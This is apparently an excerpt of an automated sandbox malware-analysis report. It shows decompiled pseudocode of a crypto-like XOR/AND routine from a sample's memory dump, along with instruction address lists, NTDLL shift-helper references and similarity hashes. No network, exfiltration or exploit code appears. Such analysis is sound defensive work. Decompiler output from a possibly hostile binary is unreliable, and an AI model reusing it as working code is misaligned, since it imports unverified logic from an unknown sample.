					_v12 = _v12 ^  *(_t1923 + _t1729 * 8 - 0x250);
					_v8 = _v8 ^  *(_t1923 + _t1729 * 8 - 0x24c);
					_t1730 = _v16;
					_t1924 = _a4;
					_v12 = _v12 ^  *(_t1924 + _t1730 * 8 - 0x10);
					_v8 = _v8 ^  *(_t1924 + _t1730 * 8 - 0xc);
					_t1731 = _v16;
					_t1925 = _a4;
					_t1567 = _v16;
					_t2148 = _a4;
					_v12 =  *(_t1925 + _t1731 * 8 - 0x18) &  *(_t2148 + _t1567 * 8 - 0x30) ^ _v12;
					_v8 =  *(_t1925 + _t1731 * 8 - 0x14) &  *(_t2148 + _t1567 * 8 - 0x2c) ^ _v8;
					_t1926 = _v16;
					_t1568 = _a4;
					_t1735 = _v16;
					_t2149 = _a4;
					_v12 =  *(_t1568 + _t1926 * 8 - 0x80) &  *(_t2149 + _t1735 * 8 - 0x1a0) ^ _v12;
					_v8 =  *(_t1568 + _t1926 * 8 - 0x7c) &  *(_t2149 + _t1735 * 8 - 0x19c) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1738 = _v16;
					_t2150 = _a4;
					 *(_t2150 + 0x78 + _t1738 * 8) = _v12 ^ _v12;
					 *(_t2150 + 0x7c + _t1738 * 8) = _v8 ^ _v8;
					L0040EDFE();
					L0040EDF8();
					_v28 = _v28 ^ _v28 ^ _v28 &  *0x411128;
					_v24 = _v24 ^ _v24 ^ _v24 &  *0x41112c;
					_v16 = _v16 + 0x10;
					_v32 = _v32 + 0x10;
				}
				return _t1396;
			}

0x00406618
0x0040661d
0x00406620
0x00406626
0x00406629
0x00406630
0x00406642
0x00406645
0x0040664b
0x00000000
0x00000000
0x00406654
0x0040665a
0x0040665d
0x00406660
0x00406677
0x0040667a
0x0040667d
0x00406680
0x00406697
0x0040669a
0x0040669d
0x004066a0
0x004066a3
0x004066a6
0x004066cb
0x004066ce
0x004066d1
0x004066d4
0x004066d7
0x004066da
0x004066ff
0x00406702
0x0040670d
0x00406718
0x0040671b
0x00406726
0x00406731
0x00406734
0x00406737
0x0040673a
0x00406741
0x00406747
0x0040674a
0x0040674d
0x00406764
0x00406767
0x0040676a
0x0040676d
0x0040677e
0x00406781
0x00406784
0x00406787
0x0040678a
0x0040678d
0x004067b2
0x004067b5
0x004067b8
0x004067bb
0x004067be
0x004067c1
0x004067e6
0x004067e9
0x004067f4
0x004067ff
0x00406802
0x0040680d
0x00406818
0x0040681b
0x0040681e
0x00406822
0x00406829
0x0040682f
0x00406832
0x00406835
0x0040684c
0x0040684f
0x00406852
0x00406855
0x00406866
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406875
0x00406894
0x00406897
0x0040689a
0x0040689d
0x004068a0
0x004068a3
0x004068c8
0x004068cb
0x004068d6
0x004068e1
0x004068e4
0x004068ef
0x004068fa
0x004068fd
0x00406900
0x00406904
0x0040690b
0x00406911
0x00406914
0x00406917
0x0040692e
0x00406931
0x00406934
0x00406937
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406982
0x00406985
0x004069aa
0x004069ad
0x004069b8
0x004069c3
0x004069c6
0x004069d1
0x004069dc
0x004069df
0x004069e2
0x004069e6
0x004069ed
0x004069f3
0x004069f6
0x004069f9
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a2a
0x00406a2d
0x00406a30
0x00406a33
0x00406a36
0x00406a39
0x00406a58
0x00406a5b
0x00406a5e
0x00406a61
0x00406a64
0x00406a67
0x00406a8c
0x00406a8f
0x00406a9a
0x00406aa5
0x00406aa8
0x00406ab3
0x00406abe
0x00406ac1
0x00406ac4
0x00406ac8
0x00406acf
0x00406ad5
0x00406ad8
0x00406adb
0x00406af2
0x00406af5
0x00406af8
0x00406afb
0x00406b0c
0x00406b0f
0x00406b12
0x00406b15
0x00406b18
0x00406b1b
0x00406b34
0x00406b37
0x00406b3a
0x00406b3d
0x00406b40
0x00406b43
0x00406b68
0x00406b6b
0x00406b76
0x00406b81
0x00406b84
0x00406b8f
0x00406b9a
0x00406b9d
0x00406ba0
0x00406ba4
0x00406bab
0x00406bb1
0x00406bb4
0x00406bb7
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406be8
0x00406beb
0x00406bee
0x00406bf1
0x00406bf4
0x00406bf7
0x00406c10
0x00406c13
0x00406c16
0x00406c19
0x00406c1c
0x00406c1f
0x00406c44
0x00406c47
0x00406c52
0x00406c5d
0x00406c60
0x00406c6b
0x00406c76
0x00406c79
0x00406c7c
0x00406c80
0x00406c87
0x00406c8d
0x00406c90
0x00406c93
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cc4
0x00406cc7
0x00406cca
0x00406ccd
0x00406cd0
0x00406cd3
0x00406cec
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf8
0x00406cfb
0x00406d20
0x00406d23
0x00406d2e
0x00406d39
0x00406d3c
0x00406d47
0x00406d52
0x00406d55
0x00406d58
0x00406d5c
0x00406d63
0x00406d69
0x00406d6c
0x00406d6f
0x00406d86
0x00406d89
0x00406d8c
0x00406d8f
0x00406da0
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406dc8
0x00406dcb
0x00406dce
0x00406dd1
0x00406dd4
0x00406dd7
0x00406dfc
0x00406dff
0x00406e0a
0x00406e15
0x00406e18
0x00406e23
0x00406e2e
0x00406e31
0x00406e34
0x00406e38
0x00406e3f
0x00406e45
0x00406e48
0x00406e4b
0x00406e62
0x00406e65
0x00406e68
0x00406e6b
0x00406e7c
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406ea4
0x00406ea7
0x00406eaa
0x00406ead
0x00406eb0
0x00406eb3
0x00406ed8
0x00406edb
0x00406ee6
0x00406ef1
0x00406ef4
0x00406eff
0x00406f0a
0x00406f0d
0x00406f10
0x00406f14
0x00406f1b
0x00406f21
0x00406f24
0x00406f27
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f58
0x00406f5b
0x00406f5e
0x00406f61
0x00406f64
0x00406f67
0x00406f80
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406fb4
0x00406fb7
0x00406fc2
0x00406fcd
0x00406fd0
0x00406fdb
0x00406fe6
0x00406fe9
0x00406fec
0x00406ff0
0x00406ff7
0x00406ffd
0x00407000
0x00407003
0x0040701a
0x0040701d
0x00407020
0x00407023
0x00407034
0x00407037
0x0040703a
0x0040703d
0x00407040
0x00407043
0x0040705c
0x0040705f
0x00407062
0x00407065
0x00407068
0x0040706b
0x00407090
0x00407093
0x0040709e
0x004070a9
0x004070ac
0x004070b7
0x004070c2
0x004070c5
0x004070c8
0x004070cc
0x004070d3
0x004070d9
0x004070dc
0x004070df
0x004070f6
0x004070f9
0x004070fc
0x004070ff
0x00407110
0x00407113
0x00407116
0x00407119
0x0040711c
0x0040711f
0x00407138
0x0040713b
0x0040713e
0x00407141
0x00407144
0x00407147
0x0040716c
0x0040716f
0x0040717a
0x00407185
0x00407188
0x00407193
0x0040719e
0x004071a1
0x004071a4
0x004071a8
0x004071af
0x004071b5
0x004071b8
0x004071bb
0x004071d2
0x004071d5
0x004071d8
0x004071db
0x004071ec
0x004071ef
0x004071f2
0x004071f5
0x004071f8
0x004071fb
0x00407214
0x00407217
0x0040721a
0x0040721d
0x00407220
0x00407223
0x00407248
0x0040724b
0x00407256
0x00407261
0x00407264
0x0040726f
0x0040727a
0x0040727d
0x00407280
0x00407284
0x0040728b
0x00407291
0x00407294
0x00407297
0x004072ae
0x004072b1
0x004072b4
0x004072b7
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f3
0x004072f6
0x004072f9
0x004072fc
0x004072ff
0x00407324
0x00407327
0x00407332
0x0040733d
0x00407340
0x0040734b
0x00407356
0x00407359
0x0040735c
0x00407360
0x00407367
0x0040736d
0x00407370
0x00407373
0x0040738a
0x0040738d
0x00407390
0x00407393
0x004073a4
0x004073a7
0x004073aa
0x004073ad
0x004073b0
0x004073b3
0x004073cc
0x004073cf
0x004073d2
0x004073d5
0x004073d8
0x004073db
0x004073fa
0x004073fd
0x00407408
0x00407413
0x00407416
0x00407421
0x0040742c
0x0040742f
0x00407432
0x00407436
0x00407442
0x00407453
0x00407472
0x00407475
0x0040747e
0x0040663f
0x0040663f
0x0040748b

APIs

_aullshr.NTDLL ref: 0040670D
_allshl.NTDLL ref: 00406726
_aullshr.NTDLL ref: 004067F4
_allshl.NTDLL ref: 0040680D
_aullshr.NTDLL ref: 004068D6
_allshl.NTDLL ref: 004068EF
_aullshr.NTDLL ref: 004069B8
_allshl.NTDLL ref: 004069D1
_aullshr.NTDLL ref: 00406A9A
_allshl.NTDLL ref: 00406AB3
_aullshr.NTDLL ref: 00406B76
_allshl.NTDLL ref: 00406B8F
_aullshr.NTDLL ref: 00406C52
_allshl.NTDLL ref: 00406C6B
_aullshr.NTDLL ref: 00406D2E
_allshl.NTDLL ref: 00406D47
_aullshr.NTDLL ref: 00406E0A
_allshl.NTDLL ref: 00406E23
_aullshr.NTDLL ref: 00406EE6
_allshl.NTDLL ref: 00406EFF
_aullshr.NTDLL ref: 00406FC2
_allshl.NTDLL ref: 00406FDB
_aullshr.NTDLL ref: 0040709E
_allshl.NTDLL ref: 004070B7
_aullshr.NTDLL ref: 0040717A
_allshl.NTDLL ref: 00407193
_aullshr.NTDLL ref: 00407256
_allshl.NTDLL ref: 0040726F
_aullshr.NTDLL ref: 00407332
_allshl.NTDLL ref: 0040734B
_aullshr.NTDLL ref: 00407408
_allshl.NTDLL ref: 00407421
_allshl.NTDLL ref: 00407442
_aullshr.NTDLL ref: 00407453

Strings

Y, xrefs: 00406630

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID: Y
API String ID: 673498613-3233089245
Opcode ID: 09cbb751b792f03c7f6d5a955a369f2f8d676be8134a4cde34a5b795885ac806
Instruction ID: 81f0246d34d418f551b066bcc026a41a7d0f506a16a213b2528972a7a3f3234d
Opcode Fuzzy Hash: 09cbb751b792f03c7f6d5a955a369f2f8d676be8134a4cde34a5b795885ac806
Instruction Fuzzy Hash: 38D22A79D11619EFCB54CF99C18099EFBF1FF88360F62859AD845AB305C630AA91DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00406639 Relevance: 52.0, APIs: 34, Instructions: 1023
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406639() {
				signed int _t1392;
				signed int _t1393;
				signed int _t1394;
				signed int _t1398;
				signed int _t1408;
				intOrPtr _t1409;
				signed int _t1419;
				intOrPtr _t1420;
				signed int _t1430;
				intOrPtr _t1431;
				signed int _t1441;
				intOrPtr _t1442;
				signed int _t1452;
				intOrPtr _t1453;
				signed int _t1463;
				intOrPtr _t1464;
				signed int _t1474;
				intOrPtr _t1475;
				signed int _t1485;
				intOrPtr _t1486;
				signed int _t1496;
				intOrPtr _t1497;
				signed int _t1507;
				intOrPtr _t1508;
				signed int _t1518;
				intOrPtr _t1519;
				signed int _t1529;
				intOrPtr _t1530;
				signed int _t1540;
				intOrPtr _t1541;
				signed int _t1551;
				intOrPtr _t1552;
				signed int _t1562;
				intOrPtr _t1563;
				intOrPtr _t1572;
				intOrPtr _t1573;
				intOrPtr _t1574;
				signed int _t1575;
				signed int _t1581;
				signed int _t1582;
				signed int _t1583;
				signed int _t1584;
				signed int _t1588;
				signed int _t1591;
				signed int _t1592;
				signed int _t1593;
				signed int _t1594;
				signed int _t1598;
				signed int _t1601;
				signed int _t1602;
				signed int _t1603;
				signed int _t1604;
				signed int _t1608;
				signed int _t1611;
				signed int _t1612;
				signed int _t1613;
				signed int _t1614;
				signed int _t1618;
				signed int _t1621;
				signed int _t1622;
				signed int _t1623;
				signed int _t1624;
				signed int _t1628;
				signed int _t1631;
				signed int _t1632;
				signed int _t1633;
				signed int _t1634;
				signed int _t1638;
				signed int _t1641;
				signed int _t1642;
				signed int _t1643;
				signed int _t1644;
				signed int _t1648;
				signed int _t1651;
				signed int _t1652;
				signed int _t1653;
				signed int _t1654;
				signed int _t1658;
				signed int _t1661;
				signed int _t1662;
				signed int _t1663;
				signed int _t1664;
				signed int _t1668;
				signed int _t1671;
				signed int _t1672;
				signed int _t1673;
				signed int _t1674;
				signed int _t1678;
				signed int _t1681;
				signed int _t1682;
				signed int _t1683;
				signed int _t1684;
				signed int _t1688;
				signed int _t1691;
				signed int _t1692;
				signed int _t1693;
				signed int _t1694;
				signed int _t1698;
				signed int _t1701;
				signed int _t1702;
				signed int _t1703;
				signed int _t1704;
				signed int _t1708;
				signed int _t1711;
				signed int _t1712;
				signed int _t1713;
				signed int _t1714;
				signed int _t1718;
				signed int _t1721;
				signed int _t1722;
				signed int _t1723;
				signed int _t1724;
				signed int _t1728;
				signed int _t1731;
				signed int _t1743;
				intOrPtr _t1744;
				intOrPtr _t1750;
				intOrPtr _t1751;
				intOrPtr _t1752;
				signed int _t1753;
				intOrPtr _t1762;
				intOrPtr _t1763;
				intOrPtr _t1764;
				signed int _t1765;
				intOrPtr _t1774;
				intOrPtr _t1775;
				intOrPtr _t1776;
				signed int _t1777;
				intOrPtr _t1786;
				intOrPtr _t1787;
				intOrPtr _t1788;
				signed int _t1789;
				intOrPtr _t1798;
				intOrPtr _t1799;
				intOrPtr _t1800;
				signed int _t1801;
				intOrPtr _t1810;
				intOrPtr _t1811;
				intOrPtr _t1812;
				signed int _t1813;
				intOrPtr _t1822;
				intOrPtr _t1823;
				intOrPtr _t1824;
				signed int _t1825;
				intOrPtr _t1834;
				intOrPtr _t1835;
				intOrPtr _t1836;
				signed int _t1837;
				intOrPtr _t1846;
				intOrPtr _t1847;
				intOrPtr _t1848;
				signed int _t1849;
				intOrPtr _t1858;
				intOrPtr _t1859;
				intOrPtr _t1860;
				signed int _t1861;
				intOrPtr _t1870;
				intOrPtr _t1871;
				intOrPtr _t1872;
				signed int _t1873;
				intOrPtr _t1882;
				intOrPtr _t1883;
				intOrPtr _t1884;
				signed int _t1885;
				intOrPtr _t1894;
				intOrPtr _t1895;
				intOrPtr _t1896;
				signed int _t1897;
				intOrPtr _t1906;
				intOrPtr _t1907;
				intOrPtr _t1908;
				signed int _t1909;
				intOrPtr _t1918;
				intOrPtr _t1919;
				intOrPtr _t1920;
				signed int _t1921;
				intOrPtr _t2038;
				intOrPtr _t2039;
				intOrPtr _t2040;
				intOrPtr _t2045;
				intOrPtr _t2046;
				intOrPtr _t2047;
				intOrPtr _t2052;
				intOrPtr _t2053;
				intOrPtr _t2054;
				intOrPtr _t2059;
				intOrPtr _t2060;
				intOrPtr _t2061;
				intOrPtr _t2066;
				intOrPtr _t2067;
				intOrPtr _t2068;
				intOrPtr _t2073;
				intOrPtr _t2074;
				intOrPtr _t2075;
				intOrPtr _t2080;
				intOrPtr _t2081;
				intOrPtr _t2082;
				intOrPtr _t2087;
				intOrPtr _t2088;
				intOrPtr _t2089;
				intOrPtr _t2094;
				intOrPtr _t2095;
				intOrPtr _t2096;
				intOrPtr _t2101;
				intOrPtr _t2102;
				intOrPtr _t2103;
				intOrPtr _t2108;
				intOrPtr _t2109;
				intOrPtr _t2110;
				intOrPtr _t2115;
				intOrPtr _t2116;
				intOrPtr _t2117;
				intOrPtr _t2122;
				intOrPtr _t2123;
				intOrPtr _t2124;
				intOrPtr _t2129;
				intOrPtr _t2130;
				intOrPtr _t2131;
				intOrPtr _t2136;
				intOrPtr _t2137;
				intOrPtr _t2138;
				intOrPtr _t2143;
				intOrPtr _t2144;
				intOrPtr _t2145;
				void* _t2149;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t2149 - 0x1c)) =  *((intOrPtr*)(_t2149 - 0x1c)) + 0x10;
					L1:
					_t1391 =  *(_t2149 + 0xc) << 4;
					if( *((intOrPtr*)(_t2149 - 0x1c)) < _t1391) {
						L2:
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1392 =  *(_t2149 - 0xc);
						_t1572 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1572 + _t1392 * 8 - 0x2c8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1572 + _t1392 * 8 - 0x2c4);
						_t1393 =  *(_t2149 - 0xc);
						_t1573 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1573 + _t1393 * 8 - 0x88);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1573 + _t1393 * 8 - 0x84);
						_t1394 =  *(_t2149 - 0xc);
						_t1574 =  *((intOrPtr*)(_t2149 + 8));
						_t1743 =  *(_t2149 - 0xc);
						_t2038 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1574 + _t1394 * 8 - 0x90) &  *(_t2038 + _t1743 * 8 - 0xa8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1574 + _t1394 * 8 - 0x8c) &  *(_t2038 + _t1743 * 8 - 0xa4) ^  *(_t2149 - 4);
						_t1575 =  *(_t2149 - 0xc);
						_t1744 =  *((intOrPtr*)(_t2149 + 8));
						_t1398 =  *(_t2149 - 0xc);
						_t2039 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1744 + _t1575 * 8 - 0xf8) &  *(_t2039 + _t1398 * 8 - 0x218) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1744 + _t1575 * 8 - 0xf4) &  *(_t2039 + _t1398 * 8 - 0x214) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1581 =  *(_t2149 - 0xc);
						_t2040 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2040 + _t1581 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2040 + 4 + _t1581 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1582 =  *(_t2149 - 0xc);
						_t1750 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1750 + _t1582 * 8 - 0x2c0);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1750 + _t1582 * 8 - 0x2bc);
						_t1583 =  *(_t2149 - 0xc);
						_t1751 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1751 + _t1583 * 8 - 0x80);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1751 + _t1583 * 8 - 0x7c);
						_t1584 =  *(_t2149 - 0xc);
						_t1752 =  *((intOrPtr*)(_t2149 + 8));
						_t1408 =  *(_t2149 - 0xc);
						_t2045 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1752 + _t1584 * 8 - 0x88) &  *(_t2045 + _t1408 * 8 - 0xa0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1752 + _t1584 * 8 - 0x84) &  *(_t2045 + _t1408 * 8 - 0x9c) ^  *(_t2149 - 4);
						_t1753 =  *(_t2149 - 0xc);
						_t1409 =  *((intOrPtr*)(_t2149 + 8));
						_t1588 =  *(_t2149 - 0xc);
						_t2046 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1409 + _t1753 * 8 - 0xf0) &  *(_t2046 + _t1588 * 8 - 0x210) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1409 + _t1753 * 8 - 0xec) &  *(_t2046 + _t1588 * 8 - 0x20c) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1591 =  *(_t2149 - 0xc);
						_t2047 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2047 + 8 + _t1591 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2047 + 0xc + _t1591 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1592 =  *(_t2149 - 0xc);
						_t1762 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1762 + _t1592 * 8 - 0x2b8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1762 + _t1592 * 8 - 0x2b4);
						_t1593 =  *(_t2149 - 0xc);
						_t1763 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1763 + _t1593 * 8 - 0x78);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1763 + _t1593 * 8 - 0x74);
						_t1594 =  *(_t2149 - 0xc);
						_t1764 =  *((intOrPtr*)(_t2149 + 8));
						_t1419 =  *(_t2149 - 0xc);
						_t2052 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1764 + _t1594 * 8 - 0x80) &  *(_t2052 + _t1419 * 8 - 0x98) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1764 + _t1594 * 8 - 0x7c) &  *(_t2052 + _t1419 * 8 - 0x94) ^  *(_t2149 - 4);
						_t1765 =  *(_t2149 - 0xc);
						_t1420 =  *((intOrPtr*)(_t2149 + 8));
						_t1598 =  *(_t2149 - 0xc);
						_t2053 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1420 + _t1765 * 8 - 0xe8) &  *(_t2053 + _t1598 * 8 - 0x208) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1420 + _t1765 * 8 - 0xe4) &  *(_t2053 + _t1598 * 8 - 0x204) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1601 =  *(_t2149 - 0xc);
						_t2054 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2054 + 0x10 + _t1601 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2054 + 0x14 + _t1601 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1602 =  *(_t2149 - 0xc);
						_t1774 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1774 + _t1602 * 8 - 0x2b0);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1774 + _t1602 * 8 - 0x2ac);
						_t1603 =  *(_t2149 - 0xc);
						_t1775 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1775 + _t1603 * 8 - 0x70);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1775 + _t1603 * 8 - 0x6c);
						_t1604 =  *(_t2149 - 0xc);
						_t1776 =  *((intOrPtr*)(_t2149 + 8));
						_t1430 =  *(_t2149 - 0xc);
						_t2059 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1776 + _t1604 * 8 - 0x78) &  *(_t2059 + _t1430 * 8 - 0x90) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1776 + _t1604 * 8 - 0x74) &  *(_t2059 + _t1430 * 8 - 0x8c) ^  *(_t2149 - 4);
						_t1777 =  *(_t2149 - 0xc);
						_t1431 =  *((intOrPtr*)(_t2149 + 8));
						_t1608 =  *(_t2149 - 0xc);
						_t2060 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1431 + _t1777 * 8 - 0xe0) &  *(_t2060 + _t1608 * 8 - 0x200) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1431 + _t1777 * 8 - 0xdc) &  *(_t2060 + _t1608 * 8 - 0x1fc) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1611 =  *(_t2149 - 0xc);
						_t2061 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2061 + 0x18 + _t1611 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2061 + 0x1c + _t1611 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1612 =  *(_t2149 - 0xc);
						_t1786 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1786 + _t1612 * 8 - 0x2a8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1786 + _t1612 * 8 - 0x2a4);
						_t1613 =  *(_t2149 - 0xc);
						_t1787 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1787 + _t1613 * 8 - 0x68);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1787 + _t1613 * 8 - 0x64);
						_t1614 =  *(_t2149 - 0xc);
						_t1788 =  *((intOrPtr*)(_t2149 + 8));
						_t1441 =  *(_t2149 - 0xc);
						_t2066 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1788 + _t1614 * 8 - 0x70) &  *(_t2066 + _t1441 * 8 - 0x88) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1788 + _t1614 * 8 - 0x6c) &  *(_t2066 + _t1441 * 8 - 0x84) ^  *(_t2149 - 4);
						_t1789 =  *(_t2149 - 0xc);
						_t1442 =  *((intOrPtr*)(_t2149 + 8));
						_t1618 =  *(_t2149 - 0xc);
						_t2067 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1442 + _t1789 * 8 - 0xd8) &  *(_t2067 + _t1618 * 8 - 0x1f8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1442 + _t1789 * 8 - 0xd4) &  *(_t2067 + _t1618 * 8 - 0x1f4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1621 =  *(_t2149 - 0xc);
						_t2068 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2068 + 0x20 + _t1621 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2068 + 0x24 + _t1621 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1622 =  *(_t2149 - 0xc);
						_t1798 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1798 + _t1622 * 8 - 0x2a0);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1798 + _t1622 * 8 - 0x29c);
						_t1623 =  *(_t2149 - 0xc);
						_t1799 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1799 + _t1623 * 8 - 0x60);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1799 + _t1623 * 8 - 0x5c);
						_t1624 =  *(_t2149 - 0xc);
						_t1800 =  *((intOrPtr*)(_t2149 + 8));
						_t1452 =  *(_t2149 - 0xc);
						_t2073 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1800 + _t1624 * 8 - 0x68) &  *(_t2073 + _t1452 * 8 - 0x80) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1800 + _t1624 * 8 - 0x64) &  *(_t2073 + _t1452 * 8 - 0x7c) ^  *(_t2149 - 4);
						_t1801 =  *(_t2149 - 0xc);
						_t1453 =  *((intOrPtr*)(_t2149 + 8));
						_t1628 =  *(_t2149 - 0xc);
						_t2074 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1453 + _t1801 * 8 - 0xd0) &  *(_t2074 + _t1628 * 8 - 0x1f0) ^  *(_t2149 - 8);
